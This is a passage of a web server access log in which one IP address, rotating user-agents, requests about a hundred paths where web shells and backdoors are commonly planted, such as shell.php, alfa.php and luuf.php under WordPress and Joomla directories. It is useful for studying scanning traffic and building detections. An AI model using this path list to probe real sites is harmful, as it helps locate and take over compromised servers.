AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:46 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:47:46 -0400] "GET /insert_activity_db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:47:46 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:46 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:47 -0400] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:47 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:47 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:47:47 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:48 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:48 -0400] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:48 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:49 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:47:49 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:49 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:49 -0400] "GET /crack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:50 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:50 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:47:50 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:50 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:50 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:47:51 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:51 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:51 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:51 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:51 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:52 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:52 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:52 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:47:52 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:52 -0400] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:53 -0400] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:53 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:53 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:47:53 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:53 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:47:54 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:54 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:47:54 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:47:54 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:54 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:55 -0400] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:47:55 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:55 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:47:55 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:55 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:47:56 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:47:56 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:56 -0400] "GET /wp-ncludes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:56 -0400] "GET /.qiodetme.php/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:47:57 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:47:57 -0400] "GET /wp-admin/maint/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:47:57 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:47:58 -0400] "GET /wp-admin/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:58 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:58 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:58 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:59 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:00 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:48:00 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:48:00 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:00 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:48:01 -0400] "GET /saka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:01 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:02 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:02 -0400] "GET /.well-known/acme-challenge/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:02 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:02 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:48:03 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:03 -0400] "GET /wp-content/uploads/GzyYU.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:03 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:03 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:04 -0400] "GET /wp-admin/network/gzak2w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:04 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:04 -0400] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:48:04 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:05 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:48:05 -0400] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:05 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:05 -0400] "GET /wp-content/uploads/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:48:05 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:06 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:06 -0400] "GET /wp-admin/images/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:48:06 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:06 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:06 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.18 - - [29/Apr/2025:14:48:07 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:07 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:07 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.18 - - [29/Apr/2025:14:48:07 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:48:07 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:08 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:08 -0400] "GET /pegi.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:08 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:08 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:48:08 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:08 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:09 -0400] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:48:09 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:09 -0400] "GET /components/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:10 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:10 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:48:10 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:10 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:10 -0400] "GET /network.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:11 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:11 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:48:11 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:48:11 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:12 -0400] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:12 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:48:12 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.18 - - [29/Apr/2025:14:48:12 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:12 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - 